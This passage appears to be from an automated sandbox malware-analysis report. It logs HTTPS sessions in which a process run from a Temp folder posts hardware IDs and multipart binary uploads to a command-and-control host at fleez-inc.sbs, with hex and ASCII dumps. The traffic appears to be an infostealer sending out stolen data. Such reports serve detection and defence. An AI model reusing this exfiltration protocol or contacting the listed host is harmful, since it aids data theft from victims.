4da2jvpctadUaKA29/8k6kzTvMdHchiDm28mlD5xatY34mhGZ9Q7Kl9gPO+/cbn20Yr3z98rEA0C932I5zpiS6yq+BdiB6l+H2A5aP9xsjSESudPyfqB2QP3fYymK7EKLPqsleOGrP+NcPstrqZ9shZIJpwdaVAIk/Z4HLD5+Y9q+iXWpoZ9OB92aK+sd6pi1IrkXF7rAlmBdT+M52v2zG54bJZjRu59yHO5rGxn/zIEWLReGfqWCxc7Psjir
2024-11-12 20:22:27 UTC	887	IN	Data Raw: 2b 50 41 57 43 47 63 66 33 4b 67 44 32 38 50 32 66 49 34 6c 4b 33 4e 4e 37 44 74 75 46 6e 4c 58 76 54 34 4b 34 43 36 2b 5a 36 62 34 63 78 64 4f 74 4e 46 50 37 56 4f 64 55 2f 5a 39 48 4c 44 35 38 45 2f 76 75 69 7a 56 6f 67 59 76 2b 30 7a 30 75 53 30 75 49 7a 33 7a 6c 38 6d 6b 6d 31 31 70 41 5a 76 42 74 58 78 4e 35 79 6a 69 58 54 39 37 4b 41 5a 30 31 43 56 38 6a 6a 4d 36 4b 36 39 33 75 36 46 53 47 79 57 63 7a 2f 79 51 47 67 4f 32 76 6b 32 6c 61 6e 4e 4e 72 76 6c 74 56 61 4e 47 72 54 34 4f 63 6a 71 75 4c 43 56 2f 73 74 55 49 5a 56 35 63 36 73 46 4c 45 47 65 2f 79 72 62 2f 34 6b 55 75 75 69 71 47 37 34 54 75 76 45 30 31 71 4b 6d 38 34 65 78 7a 46 31 73 79 54 39 78 72 77 39 2b 44 73 7a 39 50 49 6d 72 7a 44 79 77 36 4c 5a 5a 6a 68 65 35 38 54 58 48 34 62 47 35 Data Ascii: +PAWCGcf3KgD28P2fI4lK3NN7DtuFnLXvT4K4C6+Z6b4cxdOtNFP7VOdU/Z9HLD58E/vuizVogYv+0z0uS0uIz3zl8mkm11pAZvBtXxN5yjiXT97KAZ01CV8jjM6K693u6FSGyWcz/yQGgO2vk2lanNNrvltVaNGrT4OcjquLCV/stUIZV5c6sFLEGe/yrb/4kUuuiqG74TuvE01qKm84exzF1syT9xrw9+Dsz9PImrzDyw6LZZjhe58TXH4bG5
2024-11-12 20:22:27 UTC	1369	IN	Data Raw: 33 66 39 32 0d 0a 53 77 38 6a 7a 4a 36 37 43 76 6c 50 33 46 51 79 47 62 65 6e 47 6d 42 57 4d 50 33 2f 6b 38 6b 61 79 4a 64 50 33 73 6f 42 6e 54 55 4a 76 79 49 39 4c 6f 73 71 7a 63 78 4d 68 66 49 70 5a 70 50 37 56 4f 64 55 2f 5a 39 48 4c 44 35 38 49 38 73 65 65 34 58 35 6b 65 75 2b 30 35 30 75 61 33 75 5a 4c 2f 77 6c 77 6a 6c 47 31 37 71 68 4a 74 43 74 6e 32 50 34 6d 69 69 58 54 39 37 4b 41 5a 30 31 43 4f 79 7a 54 51 38 37 37 2f 71 2f 4c 46 58 79 75 48 50 32 44 6b 47 53 77 49 30 72 68 71 32 36 54 46 4e 37 54 75 74 30 75 42 48 4c 58 74 4e 4d 6e 72 73 37 79 51 2f 73 42 64 4b 59 4e 30 63 4b 49 50 62 51 4c 54 38 7a 61 62 35 34 64 36 75 76 50 34 41 63 73 78 75 66 41 68 77 2f 50 37 69 4a 33 2f 78 56 59 36 30 57 41 78 73 30 42 72 41 35 36 67 63 70 71 72 78 54 75 Data Ascii: 3f92Sw8jzJ67CvlP3FQyGbenGmBWMP3/k8kayJdP3soBnTUJvyI9LosqzcxMhfIpZpP7VOdU/Z9HLD58I8see4X5keu+050ua3uZL/wlwjlG17qhJtCtn2P4miiXT97KAZ01COyzTQ877/q/LFXyuHP2DkGSwI0rhq26TFN7Tut0uBHLXtNMnrs7yQ/sBdKYN0cKIPbQLT8zab54d6uvP4AcsxufAhw/P7iJ3/xVY60WAxs0BrA56gcpqrxTu
2024-11-12 20:22:27 UTC	1369	IN	Data Raw: 6f 77 62 76 2f 73 33 77 4f 2b 79 73 35 44 34 78 31 6b 67 6c 6d 31 79 72 77 68 6d 42 74 76 30 50 35 69 31 79 6a 76 39 70 66 68 65 6b 31 44 73 76 78 54 7a 31 5a 72 39 67 62 2f 53 45 53 75 64 50 79 66 71 41 57 51 49 30 50 77 67 6c 62 58 48 50 62 33 74 73 46 47 4d 48 4c 72 78 49 63 6a 6a 75 62 4f 52 2b 63 4a 56 4c 5a 56 37 63 36 31 41 49 6b 2f 5a 34 48 4c 44 35 2b 45 35 70 2f 48 36 64 34 41 51 73 2b 38 6c 32 36 4b 6d 38 34 65 78 7a 46 31 73 79 54 39 37 6f 51 70 6c 44 4e 66 38 50 35 75 75 78 6a 4f 31 35 72 42 4c 69 68 71 6d 2b 7a 62 42 37 62 4f 35 6c 76 33 45 58 53 69 44 64 44 2f 6b 51 47 73 58 6e 71 42 79 75 36 7a 66 47 61 2f 35 2b 45 62 46 43 66 54 34 50 34 43 36 2b 62 53 53 38 4d 70 62 4b 70 70 36 63 71 6f 46 5a 67 6a 53 2b 44 4b 59 6f 63 38 33 74 65 4f 30 Data Ascii: owbv/s3wO+ys5D4x1kglm1yrwhmBtv0P5i1yjv9pfhek1DsvxTz1Zr9gb/SESudPyfqAWQI0PwglbXHPb3tsFGMHLrxIcjjubOR+cJVLZV7c61AIk/Z4HLD5+E5p/H6d4AQs+8l26Km84exzF1syT97oQplDNf8P5uuxjO15rBLihqm+zbB7bO5lv3EXSiDdD/kQGsXnqByu6zfGa/5+EbFCfT4P4C6+bSS8MpbKpp6cqoFZgjS+DKYoc83teO0
2024-11-12 20:22:27 UTC	1369	IN	Data Raw: 76 36 4f 38 76 6b 74 37 79 59 2f 63 59 52 59 74 46 34 5a 2b 70 59 4c 43 6a 45 39 54 53 4d 74 76 77 39 76 62 72 34 52 73 55 4a 39 50 67 2f 67 4c 72 35 73 4a 4c 37 78 6c 51 6f 6d 58 68 38 71 77 78 6f 41 74 50 38 4f 35 2b 69 32 79 69 37 35 62 68 57 68 52 2b 34 37 54 33 46 34 72 58 39 30 4c 48 4d 53 57 7a 4a 50 30 36 39 41 43 77 51 6b 4f 46 79 6e 4b 75 4a 59 76 33 6b 74 55 75 48 48 37 54 2b 4d 4d 54 70 76 72 75 59 38 4d 68 55 4c 35 52 35 66 71 6f 4d 5a 67 6a 57 38 6a 79 57 6f 63 30 38 75 36 76 32 47 59 77 49 39 4b 64 7a 38 75 2b 33 74 4a 33 33 78 6b 63 45 6f 44 39 67 35 42 6b 73 43 4e 4b 34 61 74 75 6a 77 6a 4b 78 37 72 42 63 69 68 69 2b 39 7a 7a 50 38 4c 69 79 6c 2f 62 41 58 43 4f 66 65 6e 47 34 42 32 63 45 31 76 45 38 6e 65 65 48 65 72 72 7a 2b 41 48 4c 4a Data Ascii: v6O8vkt7yY/cYRYtF4Z+pYLCjE9TSMtvw9vbr4RsUJ9Pg/gLr5sJL7xlQomXh8qwxoAtP8O5+i2yi75bhWhR+47T3F4rX90LHMSWzJP069ACwQkOFynKuJYv3ktUuHH7T+MMTpvruY8MhUL5R5fqoMZgjW8jyWoc08u6v2GYwI9Kdz8u+3tJ33xkcEoD9g5BksCNK4atujwjKx7rBcihi+9zzP8Liyl/bAXCOfenG4B2cE1vE8neeHerrz+AHLJ
2024-11-12 20:22:27 UTC	1369	IN	Data Raw: 48 36 72 32 7a 6a 50 44 45 45 57 4c 52 65 47 66 71 57 43 77 2b 79 50 38 31 6c 4f 58 67 50 61 62 71 73 6c 71 41 48 50 54 67 66 64 6d 69 76 72 48 65 71 59 74 63 49 4a 78 37 62 61 59 41 62 41 62 5a 38 69 43 55 71 4d 51 35 76 65 36 71 57 4a 6b 66 76 2f 6f 77 78 4f 32 32 73 5a 62 37 69 78 39 73 6c 6d 63 2f 38 6b 42 41 44 4d 2f 79 63 4c 79 39 33 7a 32 78 2b 72 4e 55 68 31 43 72 73 53 71 41 35 62 58 39 78 72 48 4c 55 43 47 44 65 6e 36 67 43 6d 45 48 30 66 30 33 6c 4b 50 4e 4d 62 50 35 74 6c 61 4c 46 72 2f 2b 4e 73 50 70 73 37 4f 58 34 34 73 66 62 4a 5a 6e 50 2f 4a 41 52 68 54 66 39 54 37 5a 69 63 49 73 75 71 6d 5a 56 34 41 58 75 4f 6c 7a 33 36 79 67 2f 5a 6e 39 69 77 6c 73 6d 48 46 7a 71 51 64 6b 42 39 76 34 4f 5a 75 6f 77 7a 53 36 2b 62 4a 56 67 51 4b 37 2f 44 Data Ascii: H6r2zjPDEEWLReGfqWCw+yP81lOXgPabqslqAHPTgfdmivrHeqYtcIJx7baYAbAbZ8iCUqMQ5ve6qWJkfv/owxO22sZb7ix9slmc/8kBADM/ycLy93z2x+rNUh1CrsSqA5bX9xrHLUCGDen6gCmEH0f03lKPNMbP5tlaLFr/+NsPps7OX44sfbJZnP/JARhTf9T7ZicIsuqmZV4AXuOlz36yg/Zn9iwlsmHFzqQdkB9v4OZuowzS6+bJVgQK7/D
2024-11-12 20:22:27 UTC	1369	IN	Data Raw: 38 34 65 78 7a 46 31 73 79 54 39 2f 72 67 78 76 43 4e 44 33 50 35 53 67 77 6a 57 33 35 61 70 57 6a 68 69 34 39 7a 37 53 36 4c 4f 76 6c 2f 6a 47 58 79 53 44 66 44 2f 6b 51 47 73 58 6e 71 42 79 71 61 33 4b 4e 71 76 6d 74 78 6d 55 58 71 32 2f 4e 4d 79 69 34 66 32 4d 34 38 74 61 4c 4a 5a 78 62 61 73 49 59 77 58 65 2f 6a 6d 52 70 4d 41 2b 73 2b 4b 2b 57 49 59 52 74 66 38 32 77 4f 75 72 73 4e 36 2f 69 31 59 30 30 53 63 2f 6e 51 78 6e 50 74 33 75 63 6f 54 70 30 48 71 36 35 2f 67 42 79 78 47 6d 38 6a 76 45 34 72 53 37 6c 66 44 4b 55 69 79 52 66 48 2b 76 43 32 4d 4a 32 66 55 34 6b 71 37 62 4d 72 6e 35 75 46 57 50 55 50 71 2f 4e 4e 69 69 34 66 32 75 38 73 42 64 4c 4a 78 71 50 37 56 4f 64 55 2f 5a 39 48 4c 44 35 38 45 78 74 75 32 7a 57 6f 67 65 76 2f 55 38 7a 2b 69 Data Ascii: 84exzF1syT9/rgxvCND3P5SgwjW35apWjhi49z7S6LOvl/jGXySDfD/kQGsXnqByqa3KNqvmtxmUXq2/NMyi4f2M48taLJZxbasIYwXe/jmRpMA+s+K+WIYRtf82wOursN6/i1Y00Sc/nQxnPt3ucoTp0Hq65/gByxGm8jvE4rS7lfDKUiyRfH+vC2MJ2fU4kq7bMrn5uFWPUPq/NNii4f2u8sBdLJxqP7VOdU/Z9HLD58Extu2zWogev/U8z+i
2024-11-12 20:22:27 UTC	1369	IN	Data Raw: 38 70 63 4a 35 30 39 66 71 63 51 61 30 2b 51 75 44 54 62 2f 35 6c 30 2f 65 2b 70 47 64 4e 41 35 71 52 6d 6b 37 58 70 37 34 47 2f 30 68 45 36 30 53 63 74 35 45 42 2b 54 34 61 34 64 5a 69 31 32 7a 79 2b 2f 62 73 65 74 53 36 55 39 44 2f 44 37 72 69 36 33 72 2b 4c 58 6d 7a 4a 52 6a 2b 70 45 6e 35 41 7a 2b 34 2f 69 36 43 46 4d 71 7a 6d 74 42 6e 46 55 50 6a 37 4f 4d 7a 6e 76 71 33 52 34 39 74 61 49 49 63 7a 65 37 68 41 49 6b 2f 50 38 7a 32 4a 71 63 35 31 72 50 32 31 53 59 67 56 73 37 4d 37 30 65 2b 31 2f 64 43 78 33 6c 6f 67 6c 33 4a 71 35 52 46 36 44 4d 6a 2f 66 70 4f 32 78 44 62 39 31 50 59 5a 6b 31 44 73 76 77 62 44 37 4c 65 36 69 4f 43 47 63 53 65 64 66 48 4f 72 42 79 78 42 6e 76 35 79 77 2f 53 48 65 72 6e 36 2b 41 48 62 51 75 2b 71 59 4a 65 79 36 36 4c 51 Data Ascii: 8pcJ509fqcQa0+QuDTb/5l0/e+pGdNA5qRmk7Xp74G/0hE60Sct5EB+T4a4dZi12zy+/bsetS6U9D/D7ri63r+LXmzJRj+pEn5Az+4/i6CFMqzmtBnFUPj7OMznvq3R49taIIcze7hAIk/P8z2Jqc51rP21SYgVs7M70e+1/dCx3logl3Jq5RF6DMj/fpO2xDb91PYZk1DsvwbD7Le6iOCGcSedfHOrByxBnv5yw/SHern6+AHbQu+qYJey66LQ
2024-11-12 20:22:27 UTC	1369	IN	Data Raw: 72 52 4a 79 7a 6b 51 48 35 50 68 72 68 31 6c 61 72 49 4f 62 50 6f 71 6b 75 4e 45 36 4c 38 64 50 37 63 6e 4c 43 54 39 4d 56 57 45 71 39 65 64 62 6f 4e 59 77 6a 67 78 67 57 4b 6f 4e 6c 34 6d 2b 69 75 57 73 74 65 39 4f 64 7a 6d 4b 4b 59 74 34 37 38 78 46 5a 73 33 7a 39 37 36 6c 67 73 4b 74 50 31 4e 35 57 67 69 78 75 33 2b 37 56 57 6a 46 44 36 76 7a 2b 41 75 76 6d 38 6c 4f 48 47 58 69 76 64 65 47 57 74 51 43 4a 50 30 4c 68 71 32 36 62 44 4b 72 44 6b 76 78 57 4e 48 72 71 2f 4c 49 37 37 2b 61 76 65 71 5a 67 66 62 49 4d 2f 4a 2b 70 48 59 67 4c 66 2b 7a 79 59 74 64 73 38 76 76 32 37 48 72 55 75 6b 66 49 2b 78 65 79 2b 67 36 44 51 77 55 45 68 6e 6e 67 39 69 67 64 36 44 4f 44 47 42 59 71 67 32 58 69 62 36 4b 35 61 79 31 37 30 35 33 4f 59 6f 70 69 33 6a 76 7a 45 56 Data Ascii: rRJyzkQH5Phrh1larIObPoqkuNE6L8dP7cnLCT9MVWEq9edboNYwjgxgWKoNl4m+iuWste9OdzmKKYt478xFZs3z976lgsKtP1N5Wgixu3+7VWjFD6vz+Auvm8lOHGXivdeGWtQCJP0Lhq26bDKrDkvxWNHrq/LI77+aveqZgfbIM/J+pHYgLf+zyYtds8vv27HrUukfI+xey+g6DQwUEhnng9igd6DODGBYqg2Xib6K5ay17053OYopi3jvzEV

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
54	192.168.2.4	49823	172.67.150.243	443	7944	C:\Users\user\AppData\Local\Temp\1005812001\c3e1e78f6d.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-12 20:22:28 UTC	261	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 83 Host: fleez-inc.sbs
2024-11-12 20:22:28 UTC	83	OUT	Data Raw: 61 63 74 3d 67 65 74 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 4c 4f 47 53 31 31 2d 2d 70 75 62 6c 69 63 26 6a 3d 26 68 77 69 64 3d 41 46 45 44 33 35 33 37 45 38 33 33 32 45 31 39 43 38 30 43 38 45 44 30 41 39 37 38 38 38 32 33 Data Ascii: act=get_message&ver=4.0&lid=LOGS11--public&j=&hwid=AFED3537E8332E19C80C8ED0A9788823
2024-11-12 20:22:28 UTC	1007	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 20:22:28 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=rohj7kpjqr3gqd1mpvsl49a2e1; expires=Sat, 08-Mar-2025 14:09:07 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=kzTJJwXBKNNk%2F%2B8k59tPhJfYgSy3E0wQfksmClf4Mm%2FUFWMgBD7tfyX1PYEiYchGoKF9fXRmRk1cCcZfXT2yoj%2FVYFGQSUxz%2BP4PXSGIomCXkN3k2fHaRm5gxXeQvzGT"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e193bfb8f320b71-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1354&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2832&recv_bytes=980&delivery_rate=2064148&cwnd=251&unsent_bytes=0&cid=9c4dd95be2e75f58&ts=331&x=0"
2024-11-12 20:22:28 UTC	130	IN	Data Raw: 37 63 0d 0a 61 78 74 47 49 2b 32 36 6e 48 74 76 56 75 32 4f 65 72 74 4b 72 2f 7a 41 79 36 66 30 78 6d 63 62 69 4d 46 56 48 51 2f 47 54 4a 63 77 59 47 52 57 7a 34 43 2b 45 78 73 69 6e 62 51 6d 6c 42 61 41 7a 66 6a 2b 69 63 62 33 55 6a 57 35 38 47 59 7a 50 76 41 51 75 41 52 39 49 48 2f 43 33 76 6b 64 51 54 4f 56 36 31 69 58 61 4d 6d 49 34 76 47 58 32 4f 51 43 4f 62 4c 78 4b 45 41 3d 0d 0a Data Ascii: 7caxtGI+26nHtvVu2OertKr/zAy6f0xmcbiMFVHQ/GTJcwYGRWz4C+ExsinbQmlBaAzfj+icb3UjW58GYzPvAQuAR9IH/C3vkdQTOV61iXaMmI4vGX2OQCObLxKEA=
2024-11-12 20:22:28 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
55	192.168.2.4	49824	172.67.150.243	443	6956	C:\Users\user\AppData\Local\Temp\1005812001\c3e1e78f6d.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-12 20:22:28 UTC	272	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=97WL8XEBAP0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 18122 Host: fleez-inc.sbs
2024-11-12 20:22:28 UTC	15331	OUT	Data Raw: 2d 2d 39 37 57 4c 38 58 45 42 41 50 30 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 41 46 45 44 33 35 33 37 45 38 33 33 32 45 31 39 43 38 30 43 38 45 44 30 41 39 37 38 38 38 32 33 0d 0a 2d 2d 39 37 57 4c 38 58 45 42 41 50 30 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 39 37 57 4c 38 58 45 42 41 50 30 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 70 75 62 6c 69 63 0d 0a 2d 2d 39 37 57 4c 38 58 45 42 41 50 30 0d 0a 43 6f 6e Data Ascii: --97WL8XEBAP0Content-Disposition: form-data; name="hwid"AFED3537E8332E19C80C8ED0A9788823--97WL8XEBAP0Content-Disposition: form-data; name="pid"2--97WL8XEBAP0Content-Disposition: form-data; name="lid"LOGS11--public--97WL8XEBAP0Con
2024-11-12 20:22:28 UTC	2791	OUT	Data Raw: b6 ea f7 8d 77 8c 30 f7 2d 3a 5e 78 e6 d9 84 b0 07 c8 dc 44 8b 5c 37 7b fb ca 23 5f 36 6d 2b c9 df b7 24 a9 bc 70 d3 dd 98 da 4d 16 48 c1 d0 c9 d5 49 13 55 45 68 ed 5e ef aa d6 a5 b6 55 e8 30 13 67 aa 7a 0c 44 f5 2f c0 e3 2b e7 fb 3b 59 90 f0 70 93 c0 3f ee 4c 10 0e bb be eb 3c d7 34 e8 6e cd 74 c5 e2 cb eb 6d db e8 13 05 d7 da ba 6c 95 3d a2 38 f5 d7 4b e3 d4 69 a8 33 83 0e 15 fa 46 ca d1 d5 a4 6f 98 ff ba be f6 4f ec e7 b8 41 b9 35 35 6f df d7 6e b4 81 3d a9 b9 db c0 6c dc 0d bd e3 2e 85 05 bc 3b 82 4b 1b 1e ce 0b 47 dd 7b be cb 51 82 bb d3 d3 f4 36 9c 58 ee 7c 6d cc b2 92 e5 6e b1 c6 c7 5e d9 b7 ac 49 aa b3 55 f5 d2 ec 6d 9e f3 27 aa 33 f8 52 f0 fd e9 0a 3f 6c af 16 4d 6d b7 df b2 9f ab 08 69 99 b1 aa c5 3d ae 79 aa d5 a8 00 8f 1d 07 3c 68 bb 84 bf 22 Data Ascii: w0-:^xD\7{#_6m+$pMHIUEh^U0gzD/+;Yp?L<4ntml=8Ki3FoOA55on=l.;KG{Q6X\|mn^IUm'3R?lMmi=y<h"
2024-11-12 20:22:29 UTC	1004	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 20:22:29 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=vg0pvlpfqh0smrahjnbntcf0vi; expires=Sat, 08-Mar-2025 14:09:07 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=G4GPnloXsSwucuqzwtSbm7uKLVj3tXZYgvdYGR7H1srTTdOeGiQraqC%2Bdg%2FbFg6Skjy1nCAuOIJoDT5xSutJleLAiH4f9EhJHGSo41z30LibWQ6xx1mnsPeDu6KNczWb"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e193bfc8cdb51e5-DEN alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=19071&sent=12&recv=24&lost=0&retrans=0&sent_bytes=2832&recv_bytes=19074&delivery_rate=150904&cwnd=32&unsent_bytes=0&cid=51482fed2122eb74&ts=835&x=0"
2024-11-12 20:22:29 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 36 38 0d 0a Data Ascii: 11ok 173.254.250.68
2024-11-12 20:22:29 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
56	192.168.2.4	49827	172.67.150.243	443	6956	C:\Users\user\AppData\Local\Temp\1005812001\c3e1e78f6d.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-12 20:22:30 UTC	276	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=TNXS3K9R404BGC6B User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8773 Host: fleez-inc.sbs
2024-11-12 20:22:30 UTC	8773	OUT	Data Raw: 2d 2d 54 4e 58 53 33 4b 39 52 34 30 34 42 47 43 36 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 41 46 45 44 33 35 33 37 45 38 33 33 32 45 31 39 43 38 30 43 38 45 44 30 41 39 37 38 38 38 32 33 0d 0a 2d 2d 54 4e 58 53 33 4b 39 52 34 30 34 42 47 43 36 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 54 4e 58 53 33 4b 39 52 34 30 34 42 47 43 36 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 70 75 62 6c 69 63 0d 0a 2d 2d 54 Data Ascii: --TNXS3K9R404BGC6BContent-Disposition: form-data; name="hwid"AFED3537E8332E19C80C8ED0A9788823--TNXS3K9R404BGC6BContent-Disposition: form-data; name="pid"2--TNXS3K9R404BGC6BContent-Disposition: form-data; name="lid"LOGS11--public--T
2024-11-12 20:22:31 UTC	1003	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 20:22:31 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=n32mvsf2hbpuut283hab3glhhb; expires=Sat, 08-Mar-2025 14:09:09 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=VySvsogAIDz3pIG7um7YNInrnmkrFYkv2Ie49QtHKG95Dxwjaf7rvExeeNaI3Z89BoIMaMg2tKzFShKhg26BoWrnOoxyFfQMFca6Cr%2Ba%2BfwCzXeIJGkotdgNBLIfwWGd"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e193c0848ace775-DEN alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=18907&sent=8&recv=14&lost=0&retrans=0&sent_bytes=2832&recv_bytes=9707&delivery_rate=153049&cwnd=32&unsent_bytes=0&cid=3279108878fb347b&ts=1133&x=0"
2024-11-12 20:22:31 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 36 38 0d 0a Data Ascii: 11ok 173.254.250.68
2024-11-12 20:22:31 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
57	192.168.2.4	49829	172.67.150.243	443	6956	C:\Users\user\AppData\Local\Temp\1005812001\c3e1e78f6d.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-12 20:22:32 UTC	278	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=0GWH0580EWYFTTMYU User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 20432 Host: fleez-inc.sbs
2024-11-12 20:22:32 UTC	15331	OUT	Data Raw: 2d 2d 30 47 57 48 30 35 38 30 45 57 59 46 54 54 4d 59 55 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 41 46 45 44 33 35 33 37 45 38 33 33 32 45 31 39 43 38 30 43 38 45 44 30 41 39 37 38 38 38 32 33 0d 0a 2d 2d 30 47 57 48 30 35 38 30 45 57 59 46 54 54 4d 59 55 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 30 47 57 48 30 35 38 30 45 57 59 46 54 54 4d 59 55 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 70 75 62 6c 69 63 0d 0a Data Ascii: --0GWH0580EWYFTTMYUContent-Disposition: form-data; name="hwid"AFED3537E8332E19C80C8ED0A9788823--0GWH0580EWYFTTMYUContent-Disposition: form-data; name="pid"3--0GWH0580EWYFTTMYUContent-Disposition: form-data; name="lid"LOGS11--public
2024-11-12 20:22:32 UTC	5101	OUT	Data Raw: 00 00 00 60 93 1b 88 82 85 4d 3f 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 6c 72 83 51 b0 b0 e9 a7 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 4d 6e 20 0a 16 36 fd 34 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b0 c9 0d 46 c1 c2 a6 9f 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 36 b9 81 28 58 d8 f4 d3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 26 37 18 05 0b 9b 7e 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d8 e4 06 a2 60 61 d3 4f 03 00 00 00 00 00 Data Ascii: `M?lrQMn 64F6(X&7~`aO
